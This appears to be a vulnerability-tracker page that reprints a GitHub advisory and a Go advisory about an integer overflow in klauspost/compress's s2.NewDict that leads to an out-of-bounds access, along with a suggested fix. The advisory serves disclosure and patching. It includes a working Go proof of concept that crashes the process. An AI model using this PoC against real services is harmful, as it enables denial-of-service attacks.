This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-259r-337f-4rfw

Published

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

# Signed Integer Overflow in s2.NewDict ## Summary A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV. ## Package - **Name:** `github.com/klauspost/compress/s2` - **Ecosystem:** Go - **Affected versions:** <= v1.18.6 (all versions with `NewDict` function) ## Severity **High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerability ### Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer) ### Description The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`: ```go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil } ``` When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed. When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`: ```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ``` `load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking: ```go func Load32[I Indexer](b []byte, i I) uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ``` This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced. ## PoC ```go package main import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" ) func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation) src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ``` ## Impact - **Denial of Service:** The process crashes immediately with SIGSEGV ## Attack Vector Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes ## Suggested Fix Validate the uvarint value before converting to int: ```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ``` Or use `uint` for the repeat field and validate against `uint(len(dict))`. ## References - Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits) ## Credits Christopher Linke / https://github.com/celinke97/

Source published
20 Oct 2026 14:33:33 UTC
Source modified
20 Oct 2026 14:45:03 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · GO-2026-5841

Published

OOB read in github.com/klauspost/compress/s2

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

Source published
27 Jul 2026 16:16:22 UTC
Source modified
30 Sep 2026 03:55:34 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 14:22 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current

No accounts or analytics; your preferences stay in your browser. Information, not advice. ChangeIntel is an independent tool and is not affiliated with or endorsed by Microsoft, Apple, Google, Broadcom (VMware), Jamf, Oracle, Mozilla, or any other vendor it covers. Product names are trademarks of their owners. Built by Evotec.